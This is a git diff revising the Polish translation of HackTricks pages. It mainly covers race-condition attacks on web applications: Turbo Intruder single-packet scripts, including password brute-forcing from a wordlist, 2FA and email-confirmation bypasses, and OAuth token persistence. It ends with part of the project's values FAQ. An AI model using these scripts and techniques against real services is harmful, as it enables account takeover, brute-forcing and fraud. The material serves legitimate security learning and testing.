Pingowanie, aby rozgrzać połączenie. +1. Wysyłanie nagłówków i danych body z pominięciem ostatniego bajtu bez zamykania strumienia. +2. Pauza 100ms po wstępnym wysłaniu. +3. Wyłączenie TCP_NODELAY, aby wykorzystać Nagle's algorithm do grupowania końcowych ramek. +4. Pingowanie w celu rozgrzania połączenia. -Późniejsze wysłanie wstrzymanych ramek powinno spowodować ich dotarcie w jednej paczce, co można zweryfikować przez Wireshark. Metoda ta nie ma zastosowania do plików statycznych, które zwykle nie biorą udziału w atakach RC. +Następne wysłanie wstrzymanych ramek powinno spowodować ich dotarcie w jednej paczce, co można zweryfikować za pomocą Wireshark. Ta metoda nie ma zastosowania do plików statycznych, które zazwyczaj nie biorą udziału w RC attacks. -### Dostosowywanie do architektury serwera +### Adapting to Server Architecture -Zrozumienie architektury celu jest kluczowe. Serwery front-end mogą kierować żądania w różny sposób, co wpływa na timing. Wstępne rozgrzewanie połączeń po stronie serwera poprzez nieistotne żądania może ujednolicić czasy przetwarzania żądań. +Zrozumienie architektury celu jest kluczowe. Front-end serwery mogą kierować żądania w różny sposób, co wpływa na opóźnienia. Prewencyjne rozgrzewanie połączeń po stronie serwera, przez nieistotne żądania, może znormalizować czasy odpowiedzi. -#### Obsługa blokowania opartego na sesji +#### Handling Session-Based Locking Frameworki takie jak PHP's session handler serializują żądania według sesji, co może ukrywać podatności. Użycie różnych tokenów sesji dla każdego żądania może obejść ten problem. -#### Pokonywanie limitów szybkości lub zasobów +#### Overcoming Rate or Resource Limits -Jeśli rozgrzewanie połączeń jest nieskuteczne, wywołanie opóźnień po stronie serwera poprzez zalew fałszywymi żądaniami może ułatwić single-packet attack, wywołując serwerowe opóźnienia sprzyjające race condition. +Jeśli rozgrzewanie połączenia jest nieskuteczne, celowe wywołanie opóźnień związanych z limitami szybkości lub zasobów serwerów WWW poprzez zalanie ich żądaniami wypełniającymi może ułatwić single-packet attack, wywołując po stronie serwera opóźnienie sprzyjające race condition. -## Przykłady ataków +## Attack Examples -- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Możesz wysłać żądanie do **Turbo Intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), możesz zmienić w żądaniu wartość, którą chcesz brute-force'ować dla **`%s`** jak w `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` a następnie wybrać **`examples/race-single-packer-attack.py`** z rozwijanego menu: +- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Możesz wysłać żądanie do **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), możesz zmienić w żądaniu wartość, którą chcesz brute-force'ować dla **`%s`** jak w `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` i następnie wybrać **`examples/race-single-packer-attack.py`** z rozwijanego menu:
-Jeśli zamierzasz wysyłać różne wartości, możesz zmodyfikować kod tym, który używa wordlisty ze schowka: +Jeśli zamierzasz **wysyłać różne wartości**, możesz zmodyfikować kod tym, który używa wordlisty ze schowka: ```python passwords = wordlists.clipboard for password in passwords: engine.queue(target.req, password, gate='race1') ``` > [!WARNING] -> Jeśli serwis WWW nie obsługuje HTTP2 (tylko HTTP1.1), użyj `Engine.THREADED` lub `Engine.BURP` zamiast `Engine.BURP2`. +> Jeśli strona nie obsługuje HTTP2 (tylko HTTP1.1), użyj `Engine.THREADED` lub `Engine.BURP` zamiast `Engine.BURP2`. -- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: W przypadku, gdy musisz wysłać żądanie do 1 endpointu, a następnie kilka do innych endpointów, aby wywołać RCE, możesz zmienić skrypt `race-single-packet-attack.py` na coś takiego: +- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: W przypadku gdy musisz wysłać request do 1 endpoint i następnie wiele do innych endpointów, aby wywołać RCE, możesz zmienić skrypt `race-single-packet-attack.py` na coś takiego: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` -- Jest to także dostępne w **Repeater** przez nową opcję '**Send group in parallel**' w Burp Suite. -- Dla **limit-overrun** możesz po prostu dodać do grupy **to samo request 50 razy**. -- Dla **connection warming** możesz **dodać** na **początku** **grupy** kilka **requests** do niestatycznej części serwera WWW. -- Aby **opóźnić** proces **między** przetwarzaniem **jednego requesta i drugiego** w procesie z 2 substates, możesz **dodać dodatkowe requests pomiędzy** tymi żądaniami. -- Dla **multi-endpoint** RC możesz zacząć wysyłać **request**, który **przechodzi do ukrytego stanu**, a następnie **50 requests** zaraz po nim, które **wykorzystują ukryty stan**. +- Jest to też dostępne w **Repeater** poprzez nową opcję '**Send group in parallel**' w Burp Suite. +- Dla **limit-overrun** możesz po prostu dodać **ten sam request 50 razy** do grupy. +- Dla **connection warming** możesz **dodać** na **początku** **grupy** kilka **requests** do jakiejś niestatycznej części serwera WWW. +- Dla **delaying** procesu **pomiędzy** przetwarzaniem **jednego requesta i drugiego** w kroku z 2 substates, możesz **dodać dodatkowe requests pomiędzy** tymi requestami. +- Dla **multi-endpoint** RC możesz zacząć wysyłać **request**, który **przechodzi do ukrytego stanu**, a następnie bezpośrednio po nim wysłać **50 requests**, które **wykorzystują ukryty stan**.
-- **Automated python script**: Celem tego skryptu jest zmiana adresu email użytkownika przy jednoczesnym ciągłym sprawdzaniu, aż token weryfikacyjny nowego adresu dotrze na ostatni email (to dlatego, że w kodzie występował RC, w którym możliwe było zmodyfikowanie emaila, ale wysłanie weryfikacji na stary adres, ponieważ zmienna wskazująca email była już wypełniona pierwszym adresem).\ -Gdy w odebranych wiadomościach znajduje się słowo "objetivo", wiemy, że otrzymaliśmy token weryfikacyjny zmienionego adresu i kończymy atak. +- **Automated python script**: Celem tego skryptu jest zmiana emaila użytkownika przy jednoczesnym ciągłym sprawdzaniu aż token weryfikacyjny nowego emaila dotrze na ostatni email (to dlatego, że w kodzie występował RC, w którym można było zmodyfikować email, ale weryfikacja była wysyłana na stary adres, ponieważ zmienna wskazująca email była już wypełniona pierwszym adresem).\ +Kiedy w otrzymanych mailach znajdziemy słowo "objetivo", wiemy, że otrzymaliśmy token weryfikacyjny zmienionego emaila i kończymy atak. ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge @@ -217,21 +217,29 @@ h2_conn.close_connection() response = requests.get(url, verify=False) ``` -### Ulepszanie Single Packet Attack +#### Turbo Intruder: uwagi dotyczące silnika i gate'owania -W oryginalnym badaniu wyjaśniono, że atak ma ograniczenie do 1,500 bajtów. Jednak w [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) opisano, jak można rozszerzyć ograniczenie 1,500 bajtów single packet attack do **ograniczenia okna TCP 65,535 B poprzez użycie fragmentacji na warstwie IP** (podział pojedynczego pakietu na wiele pakietów IP) i wysyłanie ich w innej kolejności, co zapobiega ponownemu złożeniu pakietu, dopóki wszystkie fragmenty nie dotrą do serwera. Technika ta pozwoliła badaczowi wysłać 10,000 żądań w około 166 ms. +- Engine selection: use `Engine.BURP2` on HTTP/2 targets to trigger the single‑packet attack; fall back to `Engine.THREADED` or `Engine.BURP` for HTTP/1.1 last‑byte sync. +- `gate`/`openGate`: kolejkuj wiele kopii z `gate='race1'` (lub gate'ami na próbę), które wstrzymują tail każdego requestu; `openGate('race1')` flushuje wszystkie taile razem, dzięki czemu docierają niemal jednocześnie. +- Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races. +- Connection warming: wyślij najpierw ping lub kilka nieszkodliwych requestów, aby ustabilizować timingi; opcjonalnie wyłącz `TCP_NODELAY`, aby zachęcić do batchingu finalnych frames. -Zauważ, że chociaż to ulepszenie sprawia, że atak jest bardziej niezawodny w przypadku RC, które wymaga, aby setki/tysiące pakietów dotarły jednocześnie, może też mieć pewne ograniczenia programowe. Niektóre popularne serwery HTTP, takie jak Apache, Nginx i Go, mają restrykcyjne ustawienie `SETTINGS_MAX_CONCURRENT_STREAMS` na 100, 128 i 250. Jednak inne, takie jak NodeJS i nghttp2, mają je nieograniczone.\ -To zasadniczo oznacza, że Apache będzie brać pod uwagę tylko 100 połączeń HTTP z jednego połączenia TCP (ograniczając ten atak RC). -Przykłady użycia tej techniki można znaleźć w repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main). +### Improving Single Packet Attack + +In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms. + +Zauważ, że chociaż to ulepszenie sprawia, że atak jest bardziej niezawodny w przypadkach RC wymagających setek/tysięcy pakietów docierających jednocześnie, może też napotkać ograniczenia po stronie oprogramowania. Niektóre popularne serwery HTTP, takie jak Apache, Nginx i Go, mają ścisłe ustawienie `SETTINGS_MAX_CONCURRENT_STREAMS` ustawione na 100, 128 i 250. Jednak inne, jak NodeJS i nghttp2, mają je nieograniczone.\ +To zasadniczo oznacza, że Apache będzie rozważać tylko 100 HTTP connections z pojedynczego TCP connection (ograniczając ten RC attack). + +You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main). ## Raw BF -Przed wcześniejszymi badaniami używano następujących payloadów, które po prostu próbowały wysyłać pakiety jak najszybciej, aby wywołać RC. +Przed powyższym badaniem używano następujących payloadów, które po prostu próbowały wysyłać pakiety tak szybko, jak to możliwe, aby wywołać RC. -- **Repeater:** Check the examples from the previous section. -- **Intruder**: Wyślij **request** do **Intruder**, ustaw **number of threads** na **30** w **Options menu**, wybierz jako payload **Null payloads** i wygeneruj **30**. +- **Repeater:** Sprawdź przykłady z poprzedniej sekcji. +- **Intruder**: Wyślij **request** do **Intruder**, ustaw **number of threads** na **30** w **Options menu**, wybierz jako payload **Null payloads** i wygeneruj **30.** - **Turbo Intruder** ```python def queueRequests(target, wordlists): @@ -281,73 +289,73 @@ asyncio.run(main()) ``` ## **Metodologia RC** -### Limit-overrun / TOCTOU +### Przekroczenie limitu / TOCTOU -To najprostszy typ race condition, gdzie **vulnerabilities** pojawiają się w miejscach, które **ograniczają liczbę razy, w których możesz wykonać daną akcję**. Na przykład użycie tego samego kodu rabatowego w sklepie internetowym wielokrotnie. Bardzo prosty przykład można znaleźć w [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) lub w [**this bug**](https://hackerone.com/reports/759247)**.** +To najprostszy typ race condition, gdzie **podatności** pojawiają się w miejscach, które **ograniczają liczbę razy, kiedy można wykonać jakieś działanie**. Na przykład użycie tego samego kodu rabatowego w sklepie internetowym kilka razy. Bardzo prosty przykład można znaleźć w [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) lub w [**this bug**](https://hackerone.com/reports/759247)**.** -Istnieje wiele wariantów tego rodzaju ataku, w tym: +Istnieje wiele wariantów tego typu ataku, w tym: - Wykorzystanie karty podarunkowej wielokrotnie -- Ocena produktu wielokrotnie -- Wypłata lub przelanie środków przekraczających saldo konta -- Ponowne użycie jednego rozwiązania CAPTCHA -- Omijanie anti-brute-force rate limit +- Ocenianie produktu wielokrotnie +- Wypłata lub przelew środków przekraczających saldo konta +- Ponowne użycie pojedynczego rozwiązania CAPTCHA +- Omijanie limitu anty-brute-force ### **Ukryte podstany** -Wykorzystywanie złożonych race condition często polega na wykorzystaniu krótkich okien czasowych do interakcji z ukrytymi lub **niezamierzonymi podstanami maszyny**. Oto jak do tego podejść: +Wykorzystywanie złożonych race condition często polega na wykorzystaniu krótkich okien czasu do interakcji z ukrytymi lub **niezamierzonymi podstanami maszyny**. Oto jak do tego podejść: 1. **Zidentyfikuj potencjalne ukryte podstany** -- Zacznij od zlokalizowania endpoints, które modyfikują lub wchodzą w interakcję z krytycznymi danymi, takimi jak profile użytkowników lub procesy resetowania hasła. Skup się na: -- **Storage**: Preferuj endpoints, które manipulują trwałymi danymi po stronie serwera zamiast tych, które obsługują dane po stronie klienta. -- **Action**: Szukaj operacji, które zmieniają istniejące dane — mają większe szanse stworzyć warunki podatne na exploit w porównaniu z tymi, które dodają nowe dane. -- **Keying**: Udane ataki zazwyczaj dotyczą operacji kluczowanych tym samym identyfikatorem, np. username lub reset token. +- Zacznij od zlokalizowania endpoints, które modyfikują lub wchodzą w interakcję z krytycznymi danymi, takimi jak profile użytkowników lub procesy resetowania hasła. Skoncentruj się na: +- **Storage**: Preferuj endpointy, które manipulują trwałymi danymi po stronie serwera zamiast tych obsługujących dane po stronie klienta. +- **Action**: Szukaj operacji, które zmieniają istniejące dane — są one bardziej prawdopodobne do stworzenia warunków podatnych niż operacje dodające nowe dane. +- **Keying**: Udane ataki zwykle dotyczą operacji opartych na tym samym identyfikatorze, np. nazwa użytkownika lub token resetu. 2. **Przeprowadź wstępne sondowanie** -- Testuj zidentyfikowane endpoints pod kątem race condition, obserwując odchylenia od oczekiwanych wyników. Nieoczekiwane odpowiedzi lub zmiany w zachowaniu aplikacji mogą wskazywać na podatność. +- Przetestuj zidentyfikowane endpoints przy użyciu ataków race condition, obserwując wszelkie odchylenia od oczekiwanych rezultatów. Nieoczekiwane odpowiedzi lub zmiany w zachowaniu aplikacji mogą wskazywać na podatność. 3. **Zademonstruj podatność** -- Zredukuj atak do minimalnej liczby żądań potrzebnych do wykorzystania podatności, często są to zaledwie dwa. Ten krok może wymagać wielu prób lub automatyzacji z powodu precyzyjnego timingu. +- Zawęź atak do minimalnej liczby żądań potrzebnych do wykorzystania podatności, często zaledwie dwóch. Ten krok może wymagać wielu prób lub automatyzacji ze względu na precyzyjne wyrównanie czasowe. -### Time Sensitive Attacks +### Ataki wrażliwe na czas -Precyzja w timingu żądań może ujawnić podatności, szczególnie gdy do tokenów bezpieczeństwa używa się przewidywalnych metod jak timestamps. Na przykład generowanie password reset tokenów na podstawie timestamps może skutkować identycznymi tokenami dla równoczesnych żądań. +Precyzja w synchronizacji żądań może ujawnić podatności, zwłaszcza gdy do generowania tokenów bezpieczeństwa używane są przewidywalne metody, takie jak timestamps. Na przykład generowanie tokenów resetu hasła w oparciu o timestamps może pozwolić na identyczne tokeny dla jednoczesnych żądań. **Aby wykorzystać:** -- Użyj precyzyjnego timingu, np. ataku pojedynczym pakietem, by wysłać równoległe password reset requests. Identyczne tokeny wskazują na podatność. +- Użyj precyzyjnego timingu, np. single packet attack, aby wykonać równoczesne żądania resetu hasła. Identyczne tokeny wskazują na podatność. **Przykład:** -- Zażądaj jednocześnie dwóch password reset tokens i porównaj je. Pasujące tokeny sugerują błąd w generowaniu tokenów. +- Zażądaj dwóch tokenów resetu hasła w tym samym czasie i porównaj je. Zgodne tokeny sugerują wadę w generowaniu tokenów. -**Sprawdź ten** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **aby to wypróbować.** +**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.** -## Studia przypadków ukrytych podstanów +## Studium przypadków ukrytych podstanów ### Zapłać i dodaj przedmiot -Sprawdź ten [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) aby zobaczyć, jak **zapłacić** w sklepie i **dodać dodatkowy** przedmiot, za który **nie będziesz musiał zapłacić**. +Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**. -### Potwierdź inne adresy email +### Potwierdź inne adresy e-mail -Chodzi o to, by **zweryfikować adres email i jednocześnie zmienić go na inny**, aby sprawdzić, czy platforma weryfikuje nowo zmieniony adres. +Idea polega na **zweryfikowaniu adresu e-mail i jednoczesnej zmianie go na inny** aby sprawdzić, czy platforma weryfikuje nowy adres. -### Zmień email na 2 adresy email (Cookie based) +### Zmiana adresu e-mail na 2 adresy (oparte na cookie) -Zgodnie z [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab był podatny na takeover w ten sposób, ponieważ mógł **wysłać** **email verification token jednego adresu email na inny adres email**. +According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**. -**Sprawdź ten** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **aby to wypróbować.** +**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.** -### Ukryte stany bazy danych / Ominięcie potwierdzenia +### Ukryte stany bazy danych / Obejście potwierdzenia -Jeśli **2 różne zapisy** są używane do **dodania** **informacji** w **database**, istnieje krótki okres, w którym **tylko pierwsze dane zostały zapisane** w database. Na przykład przy tworzeniu użytkownika **username** i **password** mogą zostać najpierw **zapisane**, a dopiero potem zapisany zostaje **token** do potwierdzenia nowo utworzonego konta. Oznacza to, że przez krótki czas **token do potwierdzenia konta jest null**. +Jeśli **2 różne zapisy** są używane do **dodania** **informacji** do **bazy danych**, istnieje niewielki okres czasu, w którym **tylko pierwsze dane zostały zapisane** w bazie danych. Na przykład podczas tworzenia użytkownika **nazwa użytkownika** i **hasło** mogą zostać **zapisane**, a **następnie token** do potwierdzenia nowo utworzonego konta zostaje zapisany później. To oznacza, że przez krótki czas **token do potwierdzenia konta jest null**. -W związku z tym **zarejestrowanie konta i wysłanie kilku żądań z pustym tokenem** (`token=` lub `token[]=` lub inną wariacją) w celu natychmiastowego potwierdzenia konta może pozwolić na **potwierdzenie konta**, którego nie kontrolujesz emaila. +Dlatego **zarejestrowanie konta i wysłanie kilku żądań z pustym tokenem** (`token=` lub `token[]=` lub inną odmianą) w celu natychmiastowego potwierdzenia konta może pozwolić na **potwierdzenie konta**, którego adresu e-mail nie kontrolujesz. -**Sprawdź ten** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **aby to wypróbować.** +**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.** ### Ominięcie 2FA -Poniższy pseudo-code jest podatny na race condition, ponieważ przez bardzo krótki czas **2FA nie jest egzekwowane**, podczas gdy session jest tworzona: +Następujący pseudo-kod jest podatny na race condition, ponieważ w bardzo krótkim czasie **2FA nie jest wymuszane** podczas tworzenia sesji: ```python session['userid'] = user.userid if user.mfa_enabled: @@ -355,23 +363,22 @@ session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` -### OAuth2 wieczna persystencja +### OAuth2 — trwała persystencja -Istnieje kilka [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Te usługi pozwalają na utworzenie aplikacji i uwierzytelnienie użytkowników zarejestrowanych przez dostawcę. W tym celu **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**.\ -Do tego momentu to zwykłe logowanie przez google/linkedin/github... gdzie pojawia się strona z komunikatem: "_Application \ wants to access you information, do you want to allow it?_" +There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Te usługi pozwalają utworzyć aplikację i uwierzytelnić użytkowników zarejestrowanych przez dostawcę. Aby to zrobić, **client** będzie musiał **permit your application** aby uzyskać dostęp do części swoich danych w obrębie **OAUth provider**.\ Czyli do tej pory to zwykłe logowanie przez google/linkedin/github..., gdzie zobaczysz stronę z komunikatem: _Aplikacja \ chce uzyskać dostęp do Twoich informacji, czy chcesz na to pozwolić?_ #### Race Condition in `authorization_code` -The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. Basically, it will abuse the fact that you have accept the application to access your data to **create several accounts**. Then, if you **stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**. +Problem pojawia się, gdy **zaakceptujesz to** i automatycznie wysyłany jest **`authorization_code`** do złośliwej aplikacji. Następnie ta **aplikacja nadużywa Race Condition w OAUth service provider, aby wygenerować więcej niż jedną parę AT/RT** (_Authentication Token/Refresh Token_) z **`authorization_code`** dla Twojego konta. W praktyce wykorzystuje fakt, że zgodziłeś się na dostęp aplikacji do Twoich danych, aby **utworzyć kilka kont**. Jeśli później **przestaniesz zezwalać aplikacji na dostęp do swoich danych, jedna para AT/RT zostanie usunięta, ale pozostałe nadal będą ważne.** #### Race Condition in `Refresh Token` -Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.** +Gdy uzyskasz **ważny RT**, możesz spróbować **nadużyć go, aby wygenerować kilka par AT/RT**, i **nawet jeśli użytkownik cofnie uprawnienia** dla złośliwej aplikacji, **wiele RT nadal będzie ważnych.** ## **RC in WebSockets** -- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**. -- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py). +- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) znajdziesz PoC w Javie wysyłający komunikaty websocket **równolegle**, aby nadużyć **Race Conditions** także w Web Sockets. +- With Burp’s WebSocket Turbo Intruder możesz użyć silnika **THREADED**, aby uruchomić wiele połączeń WS i wysyłać payloads równolegle. Zacznij od oficjalnego przykładu i dostrój `config()` (liczba wątków) pod kątem współbieżności; często jest to bardziej niezawodne niż batchowanie na jednym połączeniu przy wyścigu stanu po stronie serwera pomiędzy handlerami WS. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py). ## References diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index 015004253..2661ef194 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -1,21 +1,21 @@ -# Wartości HackTricks i FAQ +# Wartości HackTricks & FAQ {{#include ../banners/hacktricks-training.md}} ## Wartości HackTricks > [!TIP] -> To są **wartości Projektu HackTricks**: +> Oto **wartości projektu HackTricks**: > -> - Zapewnić **FREE** dostęp do **EDUCATIONAL hacking** zasobów dla **ALL** Internetu. -> - Hacking polega na nauce, a nauka powinna być możliwie jak najbardziej darmowa. -> - Celem tej książki jest służyć jako kompleksowy **zasób edukacyjny**. -> - **STORE** świetne techniki **hacking**, które społeczność publikuje, oddając **ORIGINAL** **AUTHORS** wszystkie **credits**. -> - **Nie chcemy przypisywać sobie zasług innych ludzi**, chcemy po prostu przechowywać fajne triki dla wszystkich. -> - Również publikujemy **własne badania** w HackTricks. -> - W kilku przypadkach zamieścimy jedynie **w HackTricks podsumowanie najważniejszych części** techniki i **zachęcimy czytelnika do odwiedzenia oryginalnego wpisu** po więcej szczegółów. -> - **ORGANIZE** wszystkie techniki hacking w książce, aby były **MORE ACCESSIBLE** -> - Zespół HackTricks poświęcił tysiące godzin bezpłatnie **tylko na uporządkowanie treści**, aby ludzie mogli **uczyć się szybciej** +> - Zapewnić **darmowy** dostęp do **edukacyjnych hacking** zasobów dla **całego** Internetu. +> - Hacking polega na uczeniu się, a nauka powinna być możliwie jak najbardziej bezpłatna. +> - Celem tej książki jest służyć jako wszechstronne **źródło edukacyjne**. +> - **Przechowywać** świetne **hacking** techniki publikowane przez społeczność, oddając **oryginalnym** **autorom** wszystkie **zasługi**. +> - **Nie chcemy przypisywać sobie zasług innych osób**, chcemy tylko przechowywać ciekawe triki dla wszystkich. +> - Również piszemy **własne badania** w HackTricks. +> - W niektórych przypadkach opiszemy w HackTricks jedynie **podsumowanie ważnych części** techniki i **zachęcimy czytelnika do odwiedzenia oryginalnego wpisu** po więcej szczegółów. +> - **Organizować** wszystkie techniki **hacking** w książce, aby były **bardziej dostępne** +> - Zespół HackTricks poświęcił tysiące godzin za darmo **wyłącznie na organizację treści**, aby ludzie mogli **uczyć się szybciej**
@@ -23,17 +23,17 @@ > [!TIP] > -> - **Thank you so much for these resources, how can I thank you?** +> - **Bardzo dziękuję za te zasoby, jak mogę podziękować?** -Możesz publicznie podziękować zespołowi HackTricks za zebranie tych zasobów, publikując tweet i oznaczając [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ -Jeśli jesteś szczególnie wdzięczny możesz też [**sponsor the project here**](https://github.com/sponsors/carlospolop).\ -I nie zapomnij **dać gwiazdki projektom na Githubie!** (Linki znajdują się poniżej). +Możesz publicznie podziękować zespołom HackTricks za zgromadzenie tych zasobów w tweecie, oznaczając [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ +Jeśli jesteś szczególnie wdzięczny, możesz też [**wesprzeć projekt tutaj**](https://github.com/sponsors/carlospolop).\ +I nie zapomnij **dać gwiazdki projektom na Githubie!** (Znajdź linki poniżej). > [!TIP] > -> - **How can I contribute to the project?** +> - **Jak mogę przyczynić się do projektu?** -Możesz **dzielić się nowymi tipsami i trickami z community lub naprawiać błędy**, które znajdziesz w książkach, wysyłając **Pull Request** do odpowiednich stron na Githubie: +Możesz **dzielić się nowymi wskazówkami i trikami ze społecznością lub naprawiać błędy** które znajdziesz w książkach, wysyłając **Pull Request** do odpowiednich stron na Githubie: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) @@ -42,16 +42,16 @@ Nie zapomnij **dać gwiazdki projektom na Githubie!** > [!TIP] > -> - **Can I copy some content from HackTricks and put it in my blog?** +> - **Czy mogę skopiować część treści z HackTricks i umieścić ją na moim blogu?** -Tak, możesz, ale **nie zapomnij podać konkretnych link(ów)** skąd pochodziła treść. +Tak, możesz, ale **nie zapomnij podać konkretnego linku (linków)**, z którego pochodzi treść. > [!TIP] > -> - **How can I cite a page of HackTricks?** +> - **Jak mogę cytować stronę z HackTricks?** -Dopóki pojawi się link do strony(/stron), z której wzięto informację, to wystarczy.\ -Jeśli potrzebujesz bibtex możesz użyć czegoś w stylu: +Dopóki pojawi się link **do** strony (stron), z której wzięto informacje, to wystarczy.\ +Jeśli potrzebujesz bibtex, możesz użyć czegoś takiego: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -64,45 +64,45 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, > > - **Czy mogę skopiować wszystkie HackTricks na mój blog?** -**Wolałbym, żeby nie**. To **nie przyniesie korzyści nikomu**, ponieważ cała **zawartość jest już publicznie dostępna** w oficjalnych książkach HackTricks za darmo. +**Wolałbym nie**. To **nie przyniesie korzyści nikomu**, ponieważ cała **zawartość jest już publicznie dostępna** w oficjalnych książkach HackTricks za darmo. -Jeśli obawiasz się, że zniknie, po prostu zrób fork na Github lub pobierz ją — jak wspomniałem, jest już darmowa. +Jeśli obawiasz się, że zniknie, po prostu zrób fork na Github lub pobierz ją — jak mówiłem, jest już darmowa. > [!WARNING] > -> - **Dlaczego macie sponsorów? Czy książki HackTricks mają cele komercyjne?** +> - **Dlaczego macie sponsorów? Czy książki HackTricks mają charakter komercyjny?** -Pierwszą wartością **HackTricks** jest oferowanie **DARMOWYCH** materiałów edukacyjnych o tematyce hackingowej dla CAŁEGO świata. Zespół HackTricks poświęcił **tysiące godzin**, aby udostępnić tę zawartość, ponownie, **ZA DARMO**. +Pierwszą **HackTricks** **wartością** jest oferowanie **DARMOWYCH** materiałów edukacyjnych o hackingu dla **CAŁEGO** świata. Zespół HackTricks poświęcił **tysiące godzin**, aby udostępnić tę zawartość, ponownie, **ZA DARMO**. -Jeśli uważasz, że książki HackTricks powstały w **celach komercyjnych**, **CAŁKOWICIE SIĘ MYLISZ**. +Jeżeli uważasz, że książki HackTricks powstały w celach **komercyjnych**, jesteś **CAŁKOWICIE W BŁĘDZIE**. -Mamy sponsorów, ponieważ nawet jeśli cała zawartość jest DARMOWA, chcemy dać **społeczności możliwość docenienia naszej pracy**, jeśli tego chcą. Dlatego oferujemy opcję darowizn dla HackTricks poprzez [**Github sponsors**](https://github.com/sponsors/carlospolop) oraz współpracę z **odpowiednimi firmami z branży cybersecurity**, które sponsorują HackTricks i mają w książce kilka reklam — reklamy są zawsze umieszczane w miejscach, które są **widoczne**, ale **nie przeszkadzają w nauce**, gdy ktoś skupia się na treści. +Mamy sponsorów, ponieważ nawet jeśli cała zawartość jest DARMOWA, chcemy dać społeczności możliwość docenienia naszej pracy, jeśli tego chcą. Dlatego oferujemy ludziom opcję wsparcia HackTricks poprzez [**Github sponsors**](https://github.com/sponsors/carlospolop), oraz **odpowiednie firmy z branży cyberbezpieczeństwa**, aby sponsorowały HackTricks i umieszczały pewne **reklamy** w książce — **reklamy** są zawsze umieszczane w miejscach, które czynią je **widocznymi**, ale 